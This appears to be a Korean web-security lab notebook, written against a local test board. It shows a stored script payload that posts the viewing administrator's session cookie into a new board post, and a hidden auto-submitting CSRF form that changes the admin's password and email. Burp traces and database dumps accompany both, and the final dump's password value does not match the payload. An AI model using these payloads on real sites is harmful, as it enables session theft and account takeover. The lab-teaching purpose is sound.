<iframe> 태그를 이용해서 글 저장 후 페이지 이동을 감출 수 있다.

이 공격을 이용하면 공격자가 서버를 이용해서 관리자의 쿠키를 탈취할 필요가 없어지게 된다.

1. 공격 게시글 작성
공격자가 게시글을 작성한다.

이 름: 테스터
비밀번호: 1	
이메일: tester@naver.com
제 목: CSRF를 이용한 쿠키값
HTML적용:적용

안녕하세요.
실제 저장은 width와 height 값을 0으로 설정한다.
여기서는 테스트이므로 width와 height 값을 300으로 설정한다.

<iframe name=csrfiframe width=300 height=300></iframe>
<form id=csrftest target=csrfiframe
      method=POST action=/board/board_write_ok.php enctype="multipart/form-data">
<input type=hidden name=name value=관리자>
<input type=hidden name=pw value=1>
<input type=hidden name=sub value="CSRF 자동등록">
<input type=hidden name=tag value=T>
<input type=hidden name=cont value="">
<input type=hidden name=email value=tester@daum.net>
<input type=hidden name=att_file value=>
</form>
<script>document.getElementById("csrftest").cont.value = "CSRF" + document.cookie;document.getElementById("csrftest").submit();
</script>

2. 글 보기
공격자가 쓴 게시글을 관리자가 보는 순간 
document.cookie;document.getElementById("csrftest").submit(); 메소드에 의해서 게시글이 저장되고
글 목록 이동은 <iframe> 태그 쪽에서 이동되므로 화면에는 게시글 목록으로 이동되지 않는다.

3. 관리자 쿠키 탈취
공격자는 관리자의 쿠키값이 게시글에 새롭게 저장되었으니 이를 확인한다.

               내용 보기
이름:   관리자   등록일: 2023-04-11 02:21:10
이메일: tester@daum.net   조회: 1
제목:   CSRF 자동등록
내용:   CSRFPHPSESSID=qi4asbua1ak2o0vsbhbkkke8a0
첨부 파일:	

[root@webhacking ~]# cat /var/lib/php/session/sess_qi4asbua1ak2o0vsbhbkkke8a0
user_id|s:5:"admin";nickname|s:9:"관리자";ip_addr|s:13:"192.168.20.41";token|i:1;

실습> CSRF 테스트 복원

1. 소스 수정
info.php 소스 수정
-- info.php --
include_once("random.php");
$_SESSION['token'] = GE_ST(20);   
-- info.php --

info_change.php 소스 수정
-- info_change.php --
  1 <?php
  2   session_start();
  3
  4   $pw1=$_POST['user_pw1'];
  5   $pw2=$_POST['user_pw2'];
  6   $age=$_POST['age'];
  7   $nick=$_POST['nick'];
  8   $email=$_POST['email'];
  9   if(!$nick){
 10     $nick=$_SESSION['nickname'];
 11   }
 12
 13 /*
 14   print_r($_POST);  // 디버깅 중요
 15   echo "<p>";
 16   print_r($_SESSION);  // 디버깅 중요
 17   exit;
 18 */
 19
 20   if(isset($_POST['token']))
 21   {
 22     if(isset($_SESSION['token']))
 23     {
 24           if($_POST['token'] != $_SESSION['token']){
 25             echo "<script>
 26               alert('올바르지 않은 요청입니다.1');
 27               history.back();
 28             </script>";
 29             exit();
 30           }
 31     } else {
 32             echo "<script>
 33               alert('올바르지 않은 요청입니다.2');
 34               history.back();
 35             </script>";
 36             exit();
 37     }
 38  } else {
 39         echo "<script>
 40           alert('올바르지 않은 요청입니다.3');
 41           history.back();
 42         </script>";
 43         exit();
 44  }
 45
  :
  :(생략)
-- info_change.php --

2. 테이블 초기화
게시글이 많아서 WebTest.board 테이블을 초기화하고 실행한다.
[root@webhacking ~]# mysql -e "TRUNCATE WebTest.board \G"

소스를 수정한 후 위에서 실행한 실습> CSRF 분석에서 8번 글 작성을 다시 실행한다.

실습> CSRF 분석

구글 크롬 일반 접속: tester
구글 크롬 시크릿 접속: admin

1. 접속
http://192.168.20.41/info.php

2. burp 활성화 
Intercept is on으로 설정한다.

3. 회원 정보 수정
회원정보 수정 폼에 값을 넣는다.
*ID: tester
*이름: 테스터
*비밀번호: 222222  6~20(영문/숫자/특수문자)
*비밀번호 확인: 222222
나이: 2
닉네임: 테스트계정2
이메일:tester@naver.com
* 는 필수 입력 항목입니다.

입력이 완료되면 수정버튼을 클릭한다.


4. request 분석
서버로 전송되는 POST 값을 확인한다.
POST /info_change.php HTTP/1.1
Host: 192.168.20.41
Content-Length: 122
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.20.41
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/info.php
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=7ghmb6smliaeb8qlbon6mft832; hotlog=1; login_access=HAHAHAHAHA
Connection: close

user_pw1=222222&user_pw2=222222&age=2&nick=%ED%85%8C%EC%8A%A4%ED%8A%B8%EA%B3%84%EC%A0%952&email=tester%40naver.com&token=1


분석된 결과 
어떤 방식으로 어느 페이지로 가는가?
POST /info_change.php

어떤 변수에 값을 담아서 가는가?
user_pw1=222222
user_pw2=222222
age=2
nick=%ED%85%8C%EC%8A%A4%ED%8A%B8%EA%B3%84%EC%A0%952
email=tester%40naver.com
token=1

5. burp 비활성화 
Intercept is off로 설정한다.

6. 결과
성공적으로 변경되었습니다.
회원정보
*ID: tester
*이름: 테스터
*비밀번호:   6~20(영문/숫자/특수문자)
*비밀번호 확인: 
나이: 2
닉네임: 테스트계정2
이메일: tester@naver.com  <-- 변경
*  필수 입력 항목입니다.

7. 로그인
로그아웃한  다시 로그인한다.
정상적으로 로그인되면 회원정보의 값이  변경된 것이다.
LOGIN
ID: tester
PASSWORD: 222222

8. 게시글 작성
 름: 공격자
비밀번호: 1
이메일:
 목: CSRF	
HTML적용: 적용 
 용:
CSRF TEST
<form id=csrftest method=POST action=/info_change.php>
<input type=hidden name=user_pw1 value=111111>
<input type=hidden name=user_pw2 value=111111>
<input type=hidden name=age value=30>
<input type=hidden name=nick value=관리자>
<input type=hidden name=email value=tester@daum.net>
<input type=hidden name=token value=1>
</form>
<script>document.getElementById("csrftest").submit();</script>


9. 게시글 보기
Burp Intercept On으로 설정하고 
관리자가 공격자가 작성한 게시글을 확인하면서 Burp에서 분석한다. 

GET /board/board_view.php?num=1 HTTP/1.1
Host: 192.168.20.41
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/board/board_list.php
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9
Cookie: PHPSESSID=qi4asbua1ak2o0vsbhbkkke8a0
Connection: close


HTTP/1.1 200 OK
Date: Mon, 10 Apr 2023 18:13:26 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2482
Connection: close
Content-Type: text/html; charset=UTF-8

  :
  :(생략)

내용</font></th>
				<td colspan="4" style="padding:15px 0;"><font>CSRF TEST
<form id=csrftest method=POST action=/info_change.php>
<input type=hidden name=user_pw1 value=111111>
<input type=hidden name=user_pw2 value=111111>
<input type=hidden name=age value=30>
<input type=hidden name=nick value=관리자>
<input type=hidden name=email value=tester@daum.net>
<input type=hidden name=token value=1>
</form>
<script>document.getElementById("csrftest").submit();</script>
</font></td>
			</tr>
			<tr>

  :
  :(생략)


POST /info_change.php HTTP/1.1
Host: 192.168.20.41
Content-Length: 103
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.20.41
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/board/board_view.php?num=1
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9
Cookie: PHPSESSID=qi4asbua1ak2o0vsbhbkkke8a0
Connection: close

user_pw1=111111&user_pw2=111111&age=30&nick=%EA%B4%80%EB%A6%AC%EC%9E%90&email=tester%40daum.net&token=1

GET /head.php HTTP/1.1
Host: 192.168.20.41
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/board/board_view.php?num=1
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9
Cookie: PHPSESSID=qi4asbua1ak2o0vsbhbkkke8a0
Connection: close

HTTP/1.1 302 Found
Date: Mon, 10 Apr 2023 18:14:48 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: info.php?ch=1
Content-Length: 148
Connection: close
Content-Type: text/html; charset=UTF-8

Array
(
    [user_pw1] => 111111
    [user_pw2] => 111111
    [age] => 30
    [nick] => 관리자
    [email] => tester@daum.net
    [token] => 1
)

HTTP/1.1 200 OK
Date: Mon, 10 Apr 2023 18:15:08 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 671
Connection: close
Content-Type: text/html; charset=UTF-8

<!doctype html>
<html>
	<!-- head 부분 -->
	<head>
		<title>Web Test Site</title>
		<meta http-equiv="content-type" content="text/html; charset=UTF-8" >
		<link rel="stylesheet" href="style_head.css" type="text/css">
	</head>
	<body>
				<div id="area_header">
			<h1>Web Test Site</h1>
		</div>
		<div id="area_menu">
			<a href="index.php" target="_parent"></a>
			| <a href="board/board_list.php" target="_parent">게시판</a>
					| <a href="info.php" target="_parent">관리자님</a>
			| <a href="nickname.php" target="_parent">닉네임 변경</a>
			| <a href="logout.php" target="_parent">로그아웃</a>
				</div>
	</body>
</html>


GET /info.php?ch=1 HTTP/1.1
Host: 192.168.20.41
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/board/board_view.php?num=1
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9
Cookie: PHPSESSID=qi4asbua1ak2o0vsbhbkkke8a0
Connection: close


HTTP/1.1 200 OK
Date: Mon, 10 Apr 2023 18:16:17 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2789
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>회원 정보</title>
    <link rel="stylesheet" href="style_contents.css" type="text/css">
    <script type="text/javascript">
      function ck() {
        if(document.mform.user_pw1.value == "" || document.mform.user_pw1.value.length < 6 || document.mform.user_pw1.value.length > 20){
          alert('패스워드를 다시 입력하세요.');
          mform.user_pw1.focus();
          return false;
        }
        if(document.mform.user_pw1.value != document.mform.user_pw2.value){
          alert('패스워드가 일치하지 않습니다.');
          mform.user_pw2.focus();
          return false;
        }
        document.mform.submit();
      }
    </script>
  </head>
  <body>
    <iframe src="head.php" id="bodyFrame" name="body" width="100%" frameborder="0"></iframe>
    <div id="info_contents" class="contents">
      <h4>성공적으로 변경되었습니다.</h4>      <form name="mform" action="info_change.php" method="post">
        <table width="500" cellpadding="3" class="graycolor">
          <tr>
            <th colspan="2" style="background-color:#323232">
              <font style="color:white; font-size:150%">회원정보</th>
          </tr>
          <tr>
            <th width="125px">*ID</th>
            <td>admin</td>
          </tr>
          <tr>
            <th>*이름</th>
            <td>관리자</td>
          </tr>
          <tr>
            <th>*비밀번호</th>
            <td><input type="password" name="user_pw1" size="20" maxlength="20">
              &nbsp;<font style="color:red">6~20(영문/숫자/특수문자)</font>
            </td>
          </tr>
          <tr>
            <th>*비밀번호 확인</th>
            <td><input type="password" name="user_pw2" size="20" maxlength="20"></td>
          </tr>
          <tr>
            <th>나이</th>
            <td><input type="number" name="age" size="30" min="0" max="150" value=30></td>
          </tr>
          <tr>
            <th>닉네임</th>
            <td><input type="text" name="nick" size="30" maxlength="30" value=관리자></td>
          </tr>
          <tr>
            <th>이메일</th>
            <td><input type="text" name="email" size="30" maxlength="30" value=tester@daum.net></td>
          </tr>
        </table>
        <p>
          <font size=2>* 는 필수 입력 항목입니다.</font><br><br>
          <input type="hidden" name="token" value=QuM7dMurZWcedlN14Poe>
          <input type="button" value="수정" onclick="ck();" class="btn_default btn_gray">
          <input type="reset" value="삭제" class="btn_default btn_gray">
        </p>
      </form>
    </div>
  </body>
</html>

GET /head.php HTTP/1.1
Host: 192.168.20.41
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.41/info.php?ch=1
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9
Cookie: PHPSESSID=qi4asbua1ak2o0vsbhbkkke8a0
Connection: close

HTTP/1.1 200 OK
Date: Mon, 10 Apr 2023 18:16:42 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 671
Connection: close
Content-Type: text/html; charset=UTF-8

<!doctype html>
<html>
	<!-- head 부분 -->
	<head>
		<title>Web Test Site</title>
		<meta http-equiv="content-type" content="text/html; charset=UTF-8" >
		<link rel="stylesheet" href="style_head.css" type="text/css">
	</head>
	<body>
				<div id="area_header">
			<h1>Web Test Site</h1>
		</div>
		<div id="area_menu">
			<a href="index.php" target="_parent"></a>
			| <a href="board/board_list.php" target="_parent">게시판</a>
					| <a href="info.php" target="_parent">관리자님</a>
			| <a href="nickname.php" target="_parent">닉네임 변경</a>
			| <a href="logout.php" target="_parent">로그아웃</a>
				</div>
	</body>
</html>



10. 관리자 로그인
공격자가 변경된 비밀번호를 이용해서 관리자로 로그인한다.

11. 변경된 정보 확인
DB에 접속해서 변경된 내용을 확인한다.
[root@webhacking ~]# mysql -e "SELECT * FROM WebTest.member \G"
*************************** 1. row ***************************
      no: 1
    u_id: tester
  u_pass: 222222
  u_name: 테스터
nickname: 테스트계정2
     age: 2
   email: tester@naver.com
reg_date: 2022-10-24 14:01:38
*************************** 2. row ***************************
      no: 2
    u_id: admin
  u_pass: 333333   <--
  u_name: 관리자
nickname: 관리자
     age: 30       <--
   email: tester@daum.net  <--
reg_date: 2022-10-24 14:01:38
profile
정보보안 전문가

0개의 댓글